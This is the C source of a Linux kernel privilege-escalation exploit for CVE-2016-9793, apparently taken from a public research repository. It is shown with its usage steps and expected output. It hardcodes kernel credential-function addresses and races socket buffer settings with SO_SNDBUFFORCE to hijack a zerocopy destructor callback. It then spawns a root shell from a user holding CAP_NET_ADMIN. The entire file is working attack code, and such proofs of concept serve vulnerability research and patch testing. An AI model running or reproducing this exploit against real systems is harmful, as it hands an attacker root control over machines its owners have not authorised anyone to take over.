1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 |
// CAP_NET_ADMIN -> root LPE exploit for CVE-2016-9793 // No KASLR, SMEP or SMAP bypass included // Affected kernels: 3.11 -> 4.8 // Tested in QEMU only // https://github.com/xairy/kernel-exploits/tree/master/CVE-2016-9793 // // Usage: // # gcc -pthread exploit.c -o exploit // # chown guest:guest exploit // # setcap cap_net_admin+ep ./exploit // # su guest // $ whoami // guest // $ ./exploit // [.] userspace payload mmapped at 0xfffff000 // [.] overwriting thread started // [.] sockets opened // [.] sock->sk_sndbuf set to fffffe00 // [.] writing to socket // [+] got r00t // # whoami // root // // Andrey Konovalov <andreyknvl@gmail.com> #define _GNU_SOURCE #include <sys/socket.h> #include <sys/stat.h> #include <sys/time.h> #include <sys/types.h> #include <sys/wait.h> #include <sys/mman.h> #include <pthread.h> #include <signal.h> #include <stdarg.h> #include <stddef.h> #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #define COMMIT_CREDS 0xffffffff81079860ul #define PREPARE_KERNEL_CRED 0xffffffff81079b20ul typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred); typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred); _commit_creds commit_creds = (_commit_creds)COMMIT_CREDS; _prepare_kernel_cred prepare_kernel_cred = (_prepare_kernel_cred)PREPARE_KERNEL_CRED; void get_root(void) { commit_creds(prepare_kernel_cred(0)); } struct ubuf_info_t { uint64_t callback;// void (*callback)(struct ubuf_info *, bool) uint64_t ctx; // void * uint64_t desc;// unsigned long }; struct skb_shared_info_t { uint8_tnr_frags;// unsigned char uint8_ttx_flags;// __u8 uint16_t gso_size;// unsigned short uint16_t gso_segs;// unsigned short uint16_t gso_type;// unsigned short uint64_t frag_list; // struct sk_buff * uint64_t hwtstamps; // struct skb_shared_hwtstamps uint32_t tskey; // u32 uint32_t ip6_frag_id; // __be32 uint32_t dataref; // atomic_t uint64_t destructor_arg;// void * uint8_tfrags[16][17]; // skb_frag_t frags[MAX_SKB_FRAGS]; }; // sk_sndbuf = 0xffffff00 => skb_shinfo(skb) = 0x00000000fffffed0 #define SNDBUF 0xffffff00 #define SHINFO 0x00000000fffffed0ul struct ubuf_info_t ubuf_info = {(uint64_t)&get_root, 0, 0}; //struct ubuf_info_t ubuf_info = {0xffffdeaddeadbeeful, 0, 0}; struct skb_shared_info_t *skb_shared_info = (struct skb_shared_info_t *)SHINFO; #define SKBTX_DEV_ZEROCOPY (1 << 3) void* skb_thr(void* arg) { while (1) { skb_shared_info->destructor_arg = (uint64_t)&ubuf_info; skb_shared_info->tx_flags |= SKBTX_DEV_ZEROCOPY; } } int sockets[2]; void *write_thr(void *arg) { // Write blocks until setsockopt(SO_SNDBUF). write(sockets[1], "\x5c", 1); if (getuid() == 0) { printf("[+] got r00t\n"); execl("/bin/bash", "bash", NULL); perror("execl()"); } printf("[-] something went wrong\n"); } int main() { void *addr; int rv; uint32_t sndbuf; addr = mmap((void *)(SHINFO & 0xfffffffffffff000ul), 0x1000ul, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, -1, 0); if (addr != (void *)(SHINFO & 0xfffffffffffff000ul)) { perror("mmap()"); exit(EXIT_FAILURE); } printf("[.] userspace payload mmapped at %p\n", addr); pthread_t skb_th; rv = pthread_create(&skb_th, 0, skb_thr, NULL); if (rv != 0) { perror("pthread_create()"); exit(EXIT_FAILURE); } usleep(10000); printf("[.] overwriting thread started\n"); rv = socketpair(AF_LOCAL, SOCK_STREAM, 0, &sockets[0]); if (rv != 0) { perror("socketpair()"); exit(EXIT_FAILURE); } printf("[.] sockets opened\n"); sndbuf = SNDBUF; rv = setsockopt(sockets[1], SOL_SOCKET, SO_SNDBUFFORCE, &sndbuf, sizeof(sndbuf)); if (rv != 0) { perror("setsockopt()"); exit(EXIT_FAILURE); } printf("[.] sock->sk_sndbuf set to %x\n", SNDBUF * 2); pthread_t write_th; rv = pthread_create(&write_th, 0, write_thr, NULL); if (rv != 0) { perror("pthread_create()"); exit(EXIT_FAILURE); } usleep(10000); printf("[.] writing to socket\n"); // Wake up blocked write. rv = setsockopt(sockets[1], SOL_SOCKET, SO_SNDBUF, &sndbuf, sizeof(sndbuf)); if (rv != 0) { perror("setsockopt()"); exit(EXIT_FAILURE); } usleep(10000); close(sockets[0]); close(sockets[1]); return 0; } |